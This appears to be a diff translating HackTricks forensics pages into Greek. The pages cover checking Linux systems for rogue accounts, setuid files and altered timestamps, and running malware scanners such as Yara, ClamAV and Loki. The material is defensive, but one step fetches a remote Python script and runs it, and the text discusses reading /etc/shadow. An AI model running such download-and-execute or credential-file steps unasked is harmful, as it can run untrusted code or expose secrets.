Examine the _**/etc/passwd**_, _**/etc/shadow**_ and **security logs** for unusual names or accounts created and or used in close proximity to known unauthorized events. Also, check possible sudo brute-force attacks.\
|
||||
Moreover, check files like _**/etc/sudoers**_ and _**/etc/groups**_ for unexpected privileges given to users.\
|
||||
Finally, look for accounts with **no passwords** or **easily guessed** passwords.
|
||||
Εξετάστε τα αρχεία _**/etc/passwd**_, _**/etc/shadow**_ και τα **αρχεία καταγραφής ασφαλείας** για ασυνήθιστα ονόματα ή λογαριασμούς που δημιουργήθηκαν ή χρησιμοποιήθηκαν κοντά σε γνωστά μη εξουσιοδοτημένα γεγονότα. Επίσης, ελέγξτε πιθανές επιθέσεις brute-force στο sudo.\
|
||||
Επιπλέον, ελέγξτε αρχεία όπως το _**/etc/sudoers**_ και το _**/etc/groups**_ για απροσδόκητα προνόμια που έχουν δοθεί σε χρήστες.\
|
||||
Τέλος, αναζητήστε λογαριασμούς χωρίς κωδικούς πρόσβασης ή με εύκολα μαντεψιάματα κωδικούς.
|
||||
|
||||
## Examine File System
|
||||
## Εξέταση Συστήματος Αρχείων
|
||||
|
||||
### Analyzing File System Structures in Malware Investigation
|
||||
### Ανάλυση Δομών Συστήματος Αρχείων σε Έρευνα Κακόβουλου Λογισμικού
|
||||
|
||||
When investigating malware incidents, the structure of the file system is a crucial source of information, revealing both the sequence of events and the malware's content. However, malware authors are developing techniques to hinder this analysis, such as modifying file timestamps or avoiding the file system for data storage.
|
||||
Κατά την έρευνα κακόβουλων περιστατικών, η δομή του συστήματος αρχείων είναι μια κρίσιμη πηγή πληροφοριών, αποκαλύπτοντας τόσο την ακολουθία των γεγονότων όσο και το περιεχόμενο του κακόβουλου λογισμικού. Ωστόσο, οι συγγραφείς κακόβουλου λογισμικού αναπτύσσουν τεχνικές για να δυσκολέψουν αυτήν την ανάλυση, όπως η τροποποίηση των χρονοσημάτων των αρχείων ή η αποφυγή του συστήματος αρχείων για την αποθήκευση δεδομένων.
|
||||
|
||||
To counter these anti-forensic methods, it's essential to:
|
||||
|
||||
- **Conduct a thorough timeline analysis** using tools like **Autopsy** for visualizing event timelines or **Sleuth Kit's** `mactime` for detailed timeline data.
|
||||
- **Investigate unexpected scripts** in the system's $PATH, which might include shell or PHP scripts used by attackers.
|
||||
- **Examine `/dev` for atypical files**, as it traditionally contains special files, but may house malware-related files.
|
||||
- **Search for hidden files or directories** with names like ".. " (dot dot space) or "..^G" (dot dot control-G), which could conceal malicious content.
|
||||
- **Identify setuid root files** using the command:
|
||||
```find / -user root -perm -04000 -print```
|
||||
This finds files with elevated permissions, which could be abused by attackers.
|
||||
- **Review deletion timestamps** in inode tables to spot mass file deletions, possibly indicating the presence of rootkits or trojans.
|
||||
- **Inspect consecutive inodes** for nearby malicious files after identifying one, as they may have been placed together.
|
||||
- **Check common binary directories** (_/bin_, _/sbin_) for recently modified files, as these could be altered by malware.
|
||||
Για να αντιμετωπίσετε αυτές τις αντι-δικαστικές μεθόδους, είναι απαραίτητο:
|
||||
|
||||
- **Να διεξάγετε μια λεπτομερή ανάλυση χρονολογίας** χρησιμοποιώντας εργαλεία όπως το **Autopsy** για την οπτικοποίηση της χρονολογίας των γεγονότων ή το `mactime` του **Sleuth Kit** για λεπτομερείς χρονολογικές πληροφορίες.
|
||||
- **Να ερευνήσετε απροσδόκητα scripts** στον $PATH του συστήματος, τα οποία μπορεί να περιλαμβάνουν shell ή PHP scripts που χρησιμοποιούνται από επιτιθέμενους.
|
||||
- **Να εξετάσετε τον φάκελο `/dev` για ατυπα αρχεία**, καθώς παραδοσιακά περιέχει ειδικά αρχεία, αλλά μπορεί να περιέχει και αρχεία που σχετίζονται με κακόβουλο λογισμικό.
|
||||
- **Να αναζητήσετε κρυφά αρχεία ή φακέλους** με ονόματα όπως ".. " (τελεία τελεία κενό) ή "..^G" (τελεία τελεία control-G), τα οποία μπορεί να κρύβουν κακόβουλο περιεχόμενο.
|
||||
- **Να εντοπίσετε αρχεία setuid root** χρησιμοποιώντας την εντολή:
|
||||
```find / -user root -perm -04000 -print```
|
||||
Αυτό εντοπίζει αρχεία με αυξημένα δικαιώματα, τα οποία μπορεί να καταχραστούν οι επιτιθέμενοι.
|
||||
- **Να ελέγξετε τα χρονοσήματα διαγραφής** στους πίνακες inode για να εντοπίσετε μαζικές διαγραφές αρχείων, που μπορεί να υποδηλώνουν την παρουσία rootkits ή τροϊανών.
|
||||
- **Να επιθεωρήσετε συνεχόμενα inodes** για κοντινά κακόβουλα αρχεία μετά τον εντοπισμό ενός, καθώς μπορεί να έχουν τοποθετηθεί μαζί.
|
||||
- **Να ελέγξετε κοινούς δυαδικούς φακέλους** (_/bin_, _/sbin_) για πρόσφατα τροποποιημένα αρχεία, καθώς αυτά μπορεί να έχουν τροποποιηθεί από κακόβουλο λογισμικό.
|
||||
```bash
|
||||
# List recent files in a directory:
|
||||
# List recent files in a directory:
|
||||
ls -laR --sort=time /bin```
|
||||
|
||||
# Sort files in a directory by inode:
|
||||
# Sort files in a directory by inode:
|
||||
ls -lai /bin | sort -n```
|
||||
```
|
||||
|
||||
{% hint style="info" %}
|
||||
Note that an **attacker** can **modify** the **time** to make **files appear** **legitimate**, but he **cannot** modify the **inode**. If you find that a **file** indicates that it was created and modified at the **same time** as the rest of the files in the same folder, but the **inode** is **unexpectedly bigger**, then the **timestamps of that file were modified**.
|
||||
Σημείωση ότι ένας **επιτιθέμενος** μπορεί να **τροποποιήσει** την **ώρα** για να κάνει τα **αρχεία να φαίνονται νόμιμα**, αλλά δεν μπορεί να τροποποιήσει το **inode**. Εάν διαπιστώσετε ότι ένα **αρχείο** υποδεικνύει ότι δημιουργήθηκε και τροποποιήθηκε την **ίδια ώρα** με τα υπόλοιπα αρχεία στον ίδιο φάκελο, αλλά το **inode** είναι **απροσδόκητα μεγαλύτερο**, τότε οι **χρονοσφραγίδες του αρχείου αυτού τροποποιήθηκαν**.
|
||||
{% endhint %}
|
||||
|
||||
## Compare files of different filesystem versions
|
||||
## Σύγκριση αρχείων διαφορετικών εκδόσεων συστήματος αρχείων
|
||||
|
||||
### Filesystem Version Comparison Summary
|
||||
### Περίληψη σύγκρισης εκδόσεων συστήματος αρχείων
|
||||
|
||||
To compare filesystem versions and pinpoint changes, we use simplified `git diff` commands:
|
||||
Για να συγκρίνουμε τις εκδόσεις του συστήματος αρχείων και να εντοπίσουμε τις αλλαγές, χρησιμοποιούμε απλοποιημένες εντολές `git diff`:
|
||||
|
||||
- **To find new files**, compare two directories:
|
||||
- **Για να βρούμε νέα αρχεία**, συγκρίνουμε δύο φακέλους:
|
||||
```bash
|
||||
git diff --no-index --diff-filter=A path/to/old_version/ path/to/new_version/
|
||||
```
|
||||
|
||||
- **For modified content**, list changes while ignoring specific lines:
|
||||
- **Για τροποποιημένο περιεχόμενο**, αναφέρετε τις αλλαγές αγνοώντας συγκεκριμένες γραμμές:
|
||||
```bash
|
||||
git diff --no-index --diff-filter=M path/to/old_version/ path/to/new_version/ | grep -E "^\+" | grep -v "Installed-Time"
|
||||
```
|
||||
|
||||
- **To detect deleted files**:
|
||||
- **Για τον εντοπισμό διαγραμμένων αρχείων**:
|
||||
```bash
|
||||
git diff --no-index --diff-filter=D path/to/old_version/ path/to/new_version/
|
||||
```
|
||||
- **Επιλογές φίλτρου** (`--diff-filter`) βοηθούν στον περιορισμό σε συγκεκριμένες αλλαγές όπως προστιθέμενα (`A`), διαγραμμένα (`D`) ή τροποποιημένα (`M`) αρχεία.
|
||||
- `A`: Προστιθέμενα αρχεία
|
||||
- `C`: Αντιγραμμένα αρχεία
|
||||
- `D`: Διαγραμμένα αρχεία
|
||||
- `M`: Τροποποιημένα αρχεία
|
||||
- `R`: Μετονομασμένα αρχεία
|
||||
- `T`: Αλλαγές τύπου (π.χ. αρχείο σε σύνδεσμο)
|
||||
- `U`: Μη συγχωνευμένα αρχεία
|
||||
- `X`: Άγνωστα αρχεία
|
||||
- `B`: Κατεστραμμένα αρχεία
|
||||
|
||||
- **Filter options** (`--diff-filter`) help narrow down to specific changes like added (`A`), deleted (`D`), or modified (`M`) files.
|
||||
- `A`: Added files
|
||||
- `C`: Copied files
|
||||
- `D`: Deleted files
|
||||
- `M`: Modified files
|
||||
- `R`: Renamed files
|
||||
- `T`: Type changes (e.g., file to symlink)
|
||||
- `U`: Unmerged files
|
||||
- `X`: Unknown files
|
||||
- `B`: Broken files
|
||||
|
||||
## References
|
||||
## Αναφορές
|
||||
|
||||
* [https://cdn.ttgtmedia.com/rms/security/Malware%20Forensics%20Field%20Guide%20for%20Linux%20Systems\_Ch3.pdf](https://cdn.ttgtmedia.com/rms/security/Malware%20Forensics%20Field%20Guide%20for%20Linux%20Systems\_Ch3.pdf)
|
||||
* [https://www.plesk.com/blog/featured/linux-logs-explained/](https://www.plesk.com/blog/featured/linux-logs-explained/)
|
||||
* [https://git-scm.com/docs/git-diff#Documentation/git-diff.txt---diff-filterACDMRTUXB82308203](https://git-scm.com/docs/git-diff#Documentation/git-diff.txt---diff-filterACDMRTUXB82308203)
|
||||
* **Book: Malware Forensics Field Guide for Linux Systems: Digital Forensics Field Guides**
|
||||
* **Βιβλίο: Malware Forensics Field Guide for Linux Systems: Digital Forensics Field Guides**
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Learn AWS hacking from zero to hero with</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>Μάθετε το hacking στο AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
||||
Εργάζεστε σε μια **εταιρεία κυβερνοασφάλειας**; Θέλετε να δείτε την **εταιρεία σας να διαφημίζεται στο HackTricks**; ή θέλετε να έχετε πρόσβαση στην **τελευταία έκδοση του PEASS ή να κατεβάσετε το HackTricks σε μορφή PDF**; Ελέγξτε τα [**ΠΑΚΕΤΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
|
||||
|
||||
* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* Ανακαλύψτε την [**Οικογένεια PEASS**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* **Συμμετάσχετε** στην [**💬**](https://emojipedia.org/speech-balloon/) [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στην [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** με στο **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
|
||||
**Share your hacking tricks by submitting PRs to the** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **and** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
**Μοιραστείτε τα hacking tricks σας υποβάλλοντας PRs στο** [**αποθετήριο hacktricks**](https://github.com/carlospolop/hacktricks) **και** [**αποθετήριο hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
||||
</details>
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (3) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
\
|
||||
Use [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) to easily build and **automate workflows** powered by the world's **most advanced** community tools.\
|
||||
Get Access Today:
|
||||
Χρησιμοποιήστε το [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) για να δημιουργήσετε και να **αυτοματοποιήσετε ροές εργασίας** με τα πιο προηγμένα εργαλεία της κοινότητας.\
|
||||
Αποκτήστε πρόσβαση σήμερα:
|
||||
|
||||
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
|
||||
|
|
|
@ -1,24 +1,24 @@
|
|||
# Malware Analysis
|
||||
# Ανάλυση κακόβουλου λογισμικού
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Learn AWS hacking from zero to hero with</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>Μάθετε το χάκινγκ στο AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Other ways to support HackTricks:
|
||||
Άλλοι τρόποι για να υποστηρίξετε το HackTricks:
|
||||
|
||||
* If you want to see your **company advertised in HackTricks** or **download HackTricks in PDF** Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
||||
* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Share your hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
* Εάν θέλετε να δείτε την **εταιρεία σας να διαφημίζεται στο HackTricks** ή να **κατεβάσετε το HackTricks σε μορφή PDF** ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
|
||||
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Ανακαλύψτε [**την Οικογένεια PEASS**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Εγγραφείτε στη** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στη [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια του github.
|
||||
|
||||
</details>
|
||||
|
||||
## Forensics CheatSheets
|
||||
## Φύλλα απατηλής ανάλυσης
|
||||
|
||||
[https://www.jaiminton.com/cheatsheet/DFIR/#](https://www.jaiminton.com/cheatsheet/DFIR/)
|
||||
|
||||
## Online Services
|
||||
## Υπηρεσίες σε απευθείας σύνδεση
|
||||
|
||||
* [VirusTotal](https://www.virustotal.com/gui/home/upload)
|
||||
* [HybridAnalysis](https://www.hybrid-analysis.com)
|
||||
|
@ -26,136 +26,184 @@ Other ways to support HackTricks:
|
|||
* [Intezer](https://analyze.intezer.com)
|
||||
* [Any.Run](https://any.run/)
|
||||
|
||||
## Offline Antivirus and Detection Tools
|
||||
## Εργαλεία ανίχνευσης και αντιιού
|
||||
|
||||
### Yara
|
||||
|
||||
#### Install
|
||||
|
||||
#### Εγκατάσταση
|
||||
```bash
|
||||
sudo apt-get install -y yara
|
||||
```
|
||||
#### Προετοιμασία κανόνων
|
||||
|
||||
#### Prepare rules
|
||||
|
||||
Use this script to download and merge all the yara malware rules from github: [https://gist.github.com/andreafortuna/29c6ea48adf3d45a979a78763cdc7ce9](https://gist.github.com/andreafortuna/29c6ea48adf3d45a979a78763cdc7ce9)\
|
||||
Create the _**rules**_ directory and execute it. This will create a file called _**malware\_rules.yar**_ which contains all the yara rules for malware.
|
||||
|
||||
Χρησιμοποιήστε αυτό το σενάριο για να κατεβάσετε και να συγχωνεύσετε όλους τους κανόνες yara για κακόβουλο λογισμικό από το github: [https://gist.github.com/andreafortuna/29c6ea48adf3d45a979a78763cdc7ce9](https://gist.github.com/andreafortuna/29c6ea48adf3d45a979a78763cdc7ce9)\
|
||||
Δημιουργήστε τον φάκελο _**rules**_ και εκτελέστε το. Αυτό θα δημιουργήσει ένα αρχείο με το όνομα _**malware\_rules.yar**_ που περιέχει όλους τους κανόνες yara για κακόβουλο λογισμικό.
|
||||
```bash
|
||||
wget https://gist.githubusercontent.com/andreafortuna/29c6ea48adf3d45a979a78763cdc7ce9/raw/4ec711d37f1b428b63bed1f786b26a0654aa2f31/malware_yara_rules.py
|
||||
mkdir rules
|
||||
python malware_yara_rules.py
|
||||
```
|
||||
#### Σάρωση
|
||||
|
||||
#### Scan
|
||||
To begin the malware analysis process, it is important to perform a thorough scan of the infected system. This scan will help identify any malicious files or processes that may be present. There are several tools and techniques that can be used for this purpose.
|
||||
|
||||
##### Antivirus Scans
|
||||
|
||||
Running an antivirus scan is one of the simplest and most effective ways to detect malware on a system. Antivirus software is designed to identify and remove known malware signatures. It is important to keep the antivirus software up to date to ensure it can detect the latest threats.
|
||||
|
||||
##### File Analysis
|
||||
|
||||
Performing a detailed analysis of suspicious files can provide valuable insights into the nature of the malware. This can be done using tools such as file analyzers, hex editors, and disassemblers. By examining the file's structure and contents, it is possible to identify any malicious code or behavior.
|
||||
|
||||
##### Process Analysis
|
||||
|
||||
Analyzing the running processes on the system can help identify any malicious activity. Tools such as process monitors and system analyzers can be used to monitor the behavior of processes and identify any suspicious or unauthorized activity.
|
||||
|
||||
##### Network Analysis
|
||||
|
||||
Analyzing network traffic can provide information about the communication channels used by the malware. Tools such as packet sniffers and network analyzers can be used to capture and analyze network traffic. This can help identify any connections to malicious servers or unusual network behavior.
|
||||
|
||||
##### Memory Analysis
|
||||
|
||||
Analyzing the system's memory can reveal valuable information about the malware's behavior and capabilities. Tools such as memory dumpers and memory analyzers can be used to extract and analyze the contents of the system's memory. This can help identify any malicious processes or code that may be running in memory.
|
||||
|
||||
##### Registry Analysis
|
||||
|
||||
Analyzing the system's registry can provide insights into the malware's persistence mechanisms and configuration settings. Tools such as registry editors and registry analyzers can be used to examine the registry and identify any suspicious or malicious entries.
|
||||
|
||||
##### Log Analysis
|
||||
|
||||
Analyzing system logs can help identify any unusual or suspicious activity. Logs such as event logs, application logs, and security logs can provide valuable information about the malware's actions and impact on the system. Tools such as log analyzers can be used to parse and analyze log files.
|
||||
|
||||
By performing a comprehensive scan of the infected system using these techniques, it is possible to gather valuable information about the malware and its impact on the system. This information can then be used to further analyze and mitigate the threat.
|
||||
```bash
|
||||
yara -w malware_rules.yar image #Scan 1 file
|
||||
yara -w malware_rules.yar folder #Scan the whole folder
|
||||
```
|
||||
#### YaraGen: Έλεγχος για κακόβουλο λογισμικό και δημιουργία κανόνων
|
||||
|
||||
#### YaraGen: Check for malware and Create rules
|
||||
|
||||
You can use the tool [**YaraGen**](https://github.com/Neo23x0/yarGen) to generate yara rules from a binary. Check out these tutorials: [**Part 1**](https://www.nextron-systems.com/2015/02/16/write-simple-sound-yara-rules/), [**Part 2**](https://www.nextron-systems.com/2015/10/17/how-to-write-simple-but-sound-yara-rules-part-2/), [**Part 3**](https://www.nextron-systems.com/2016/04/15/how-to-write-simple-but-sound-yara-rules-part-3/)
|
||||
|
||||
Μπορείτε να χρησιμοποιήσετε το εργαλείο [**YaraGen**](https://github.com/Neo23x0/yarGen) για να δημιουργήσετε κανόνες yara από ένα δυαδικό αρχείο. Ρίξτε μια ματιά σε αυτά τα εκπαιδευτικά: [**Μέρος 1**](https://www.nextron-systems.com/2015/02/16/write-simple-sound-yara-rules/), [**Μέρος 2**](https://www.nextron-systems.com/2015/10/17/how-to-write-simple-but-sound-yara-rules-part-2/), [**Μέρος 3**](https://www.nextron-systems.com/2016/04/15/how-to-write-simple-but-sound-yara-rules-part-3/)
|
||||
```bash
|
||||
python3 yarGen.py --update
|
||||
python3.exe yarGen.py --excludegood -m ../../mals/
|
||||
python3 yarGen.py --update
|
||||
python3.exe yarGen.py --excludegood -m ../../mals/
|
||||
```
|
||||
|
||||
### ClamAV
|
||||
|
||||
#### Install
|
||||
#### Εγκατάσταση
|
||||
|
||||
Για να εγκαταστήσετε το ClamAV, ακολουθήστε τα παρακάτω βήματα:
|
||||
|
||||
1. Ανοίξτε ένα τερματικό.
|
||||
2. Εκτελέστε την εντολή `sudo apt-get update` για να ενημερώσετε τη λίστα των διαθέσιμων πακέτων.
|
||||
3. Εκτελέστε την εντολή `sudo apt-get install clamav` για να εγκαταστήσετε το ClamAV.
|
||||
4. Αναμένετε να ολοκληρωθεί η εγκατάσταση.
|
||||
|
||||
Μετά την εγκατάσταση, το ClamAV θα είναι έτοιμο να χρησιμοποιηθεί.
|
||||
```
|
||||
sudo apt-get install -y clamav
|
||||
```
|
||||
#### Σάρωση
|
||||
|
||||
#### Scan
|
||||
To begin the malware analysis process, it is important to perform a thorough scan of the infected system. This scan will help identify any malicious files or processes that may be present. There are several tools and techniques that can be used for this purpose.
|
||||
|
||||
##### Antivirus Scans
|
||||
|
||||
Running an antivirus scan is one of the most common and effective ways to detect malware on a system. Antivirus software is designed to identify and remove malicious files, and it can be used to scan both individual files and the entire system. It is recommended to use a reputable antivirus program and keep it updated to ensure the best possible protection.
|
||||
|
||||
##### Online Scanners
|
||||
|
||||
In addition to traditional antivirus software, there are also online scanners available that can be used to scan a system for malware. These scanners typically use cloud-based technology to analyze files and detect any malicious activity. Some popular online scanners include VirusTotal and Hybrid Analysis.
|
||||
|
||||
##### File Analysis
|
||||
|
||||
Another important aspect of the scan is file analysis. This involves examining individual files to determine if they are malicious or suspicious. There are various tools and techniques that can be used for file analysis, including static analysis and dynamic analysis. Static analysis involves examining the file's code and structure, while dynamic analysis involves running the file in a controlled environment to observe its behavior.
|
||||
|
||||
##### Process Analysis
|
||||
|
||||
In addition to file analysis, it is also important to analyze running processes on the system. This can help identify any malicious processes that may be running in the background. Tools such as Process Explorer can be used to view and analyze running processes, including their associated files and network connections.
|
||||
|
||||
##### Network Analysis
|
||||
|
||||
Lastly, conducting a network analysis can provide valuable insights into the malware's behavior and communication. This involves monitoring network traffic and analyzing any suspicious connections or activities. Tools such as Wireshark can be used to capture and analyze network packets, allowing for a deeper understanding of the malware's network activity.
|
||||
|
||||
By performing a thorough scan using a combination of these techniques, it is possible to identify and analyze malware on a system. This is an important first step in the malware analysis process and can provide valuable information for further investigation and mitigation.
|
||||
```bash
|
||||
sudo freshclam #Update rules
|
||||
clamscan filepath #Scan 1 file
|
||||
clamscan folderpath #Scan the whole folder
|
||||
```
|
||||
|
||||
### [Capa](https://github.com/mandiant/capa)
|
||||
|
||||
**Capa** detects potentially malicious **capabilities** in executables: PE, ELF, .NET. So it will find things such as Att\&ck tactics, or suspicious capabilities such as:
|
||||
**Capa** ανιχνεύει δυνητικά κακόβουλες **ικανότητες** σε εκτελέσιμα αρχεία: PE, ELF, .NET. Έτσι, θα βρει πράγματα όπως τακτικές Att\&ck ή ύποπτες ικανότητες όπως:
|
||||
|
||||
* check for OutputDebugString error
|
||||
* run as a service
|
||||
* create process
|
||||
* έλεγχος για σφάλμα OutputDebugString
|
||||
* εκτέλεση ως υπηρεσία
|
||||
* δημιουργία διεργασίας
|
||||
|
||||
Get it int he [**Github repo**](https://github.com/mandiant/capa).
|
||||
Βρείτε το στο [**αποθετήριο Github**](https://github.com/mandiant/capa).
|
||||
|
||||
### IOCs
|
||||
|
||||
IOC means Indicator Of Compromise. An IOC is a set of **conditions that identify** some potentially unwanted software or confirmed **malware**. Blue Teams use this kind of definition to **search for this kind of malicious files** in their **systems** and **networks**.\
|
||||
To share these definitions is very useful as when malware is identified in a computer and an IOC for that malware is created, other Blue Teams can use it to identify the malware faster.
|
||||
IOC σημαίνει Indicator Of Compromise. Ένα IOC είναι ένα σύνολο **συνθηκών που αναγνωρίζουν** ορισμένο ανεπιθύμητο λογισμικό ή επιβεβαιωμένο **κακόβουλο λογισμικό**. Οι Ομάδες Μπλε χρησιμοποιούν αυτού του είδους τον ορισμό για να **αναζητήσουν αυτού του είδους τα κακόβουλα αρχεία** στα **συστήματά τους** και τις **δικτυακές τους υποδομές**.\
|
||||
Η κοινή χρήση αυτών των ορισμών είναι πολύ χρήσιμη, καθώς όταν το κακόβουλο λογισμικό αναγνωρίζεται σε έναν υπολογιστή και δημιουργείται ένα IOC για αυτό, άλλες Ομάδες Μπλε μπορούν να το χρησιμοποιήσουν για να αναγνωρίσουν το κακόβουλο λογισμικό πιο γρήγορα.
|
||||
|
||||
A tool to create or modify IOCs is [**IOC Editor**](https://www.fireeye.com/services/freeware/ioc-editor.html)**.**\
|
||||
You can use tools such as [**Redline**](https://www.fireeye.com/services/freeware/redline.html) to **search for defined IOCs in a device**.
|
||||
Ένα εργαλείο για τη δημιουργία ή τροποποίηση των IOC είναι το [**IOC Editor**](https://www.fireeye.com/services/freeware/ioc-editor.html)**.**\
|
||||
Μπορείτε να χρησιμοποιήσετε εργαλεία όπως το [**Redline**](https://www.fireeye.com/services/freeware/redline.html) για να **αναζητήσετε καθορισμένα IOC σε μια συσκευή**.
|
||||
|
||||
### Loki
|
||||
|
||||
[**Loki**](https://github.com/Neo23x0/Loki) is a scanner for Simple Indicators of Compromise.\
|
||||
Detection is based on four detection methods:
|
||||
|
||||
Το [**Loki**](https://github.com/Neo23x0/Loki) είναι ένα εργαλείο σάρωσης για απλούς δείκτες συμπεριφοράς.\
|
||||
Η ανίχνευση βασίζεται σε τέσσερις μεθόδους ανίχνευσης:
|
||||
```
|
||||
1. File Name IOC
|
||||
Regex match on full file path/name
|
||||
Regex match on full file path/name
|
||||
|
||||
2. Yara Rule Check
|
||||
Yara signature matches on file data and process memory
|
||||
Yara signature matches on file data and process memory
|
||||
|
||||
3. Hash Check
|
||||
Compares known malicious hashes (MD5, SHA1, SHA256) with scanned files
|
||||
|
||||
4. C2 Back Connect Check
|
||||
Compares process connection endpoints with C2 IOCs (new since version v.10)
|
||||
```
|
||||
Compares known malicious hashes (MD5, SHA1, SHA256) with scanned files
|
||||
|
||||
4. C2 Back Connect Check
|
||||
Compares process connection endpoints with C2 IOCs (new since version v.10)
|
||||
```
|
||||
### Linux Malware Detect
|
||||
|
||||
[**Linux Malware Detect (LMD)**](https://www.rfxn.com/projects/linux-malware-detect/) is a malware scanner for Linux released under the GNU GPLv2 license, that is designed around the threats faced in shared hosted environments. It uses threat data from network edge intrusion detection systems to extract malware that is actively being used in attacks and generates signatures for detection. In addition, threat data is also derived from user submissions with the LMD checkout feature and malware community resources.
|
||||
[**Linux Malware Detect (LMD)**](https://www.rfxn.com/projects/linux-malware-detect/) είναι ένα πρόγραμμα σάρωσης για κακόβουλο λογισμικό σε Linux που έχει κυκλοφορήσει υπό την άδεια GNU GPLv2 και έχει σχεδιαστεί γύρω από τις απειλές που αντιμετωπίζονται σε κοινόχρηστα περιβάλλοντα φιλοξενίας. Χρησιμοποιεί δεδομένα απειλών από συστήματα ανίχνευσης παραβίασης στο δίκτυο για να εξάγει κακόβουλο λογισμικό που χρησιμοποιείται ενεργά σε επιθέσεις και δημιουργεί υπογραφές για ανίχνευση. Επιπλέον, τα δεδομένα απειλών προέρχονται επίσης από τις υποβολές των χρηστών με το χαρακτηριστικό ελέγχου του LMD και από πόρους της κοινότητας κακόβουλου λογισμικού.
|
||||
|
||||
### rkhunter
|
||||
|
||||
Tools like [**rkhunter**](http://rkhunter.sourceforge.net) can be used to check the filesystem for possible **rootkits** and malware.
|
||||
|
||||
Εργαλεία όπως το [**rkhunter**](http://rkhunter.sourceforge.net) μπορούν να χρησιμοποιηθούν για να ελέγξουν το σύστημα αρχείων για πιθανά **rootkits** και κακόβουλο λογισμικό.
|
||||
```bash
|
||||
sudo ./rkhunter --check -r / -l /tmp/rkhunter.log [--report-warnings-only] [--skip-keypress]
|
||||
```
|
||||
|
||||
### FLOSS
|
||||
|
||||
[**FLOSS**](https://github.com/mandiant/flare-floss) is a tool that will try to find obfuscated strings inside executables using different techniques.
|
||||
[**FLOSS**](https://github.com/mandiant/flare-floss) είναι ένα εργαλείο που θα προσπαθήσει να βρει κρυπτογραφημένες συμβολοσειρές μέσα σε εκτελέσιμα χρησιμοποιώντας διάφορες τεχνικές.
|
||||
|
||||
### PEpper
|
||||
|
||||
[PEpper ](https://github.com/Th3Hurrican3/PEpper)checks some basic stuff inside the executable (binary data, entropy, URLs and IPs, some yara rules).
|
||||
Το [PEpper](https://github.com/Th3Hurrican3/PEpper) ελέγχει μερικά βασικά πράγματα μέσα στο εκτελέσιμο (δυαδικά δεδομένα, εντροπία, URLs και IPs, μερικούς κανόνες yara).
|
||||
|
||||
### PEstudio
|
||||
|
||||
[PEstudio](https://www.winitor.com/download) is a tool that allows to get information of Windows executables such as imports, exports, headers, but also will check virus total and find potential Att\&ck techniques.
|
||||
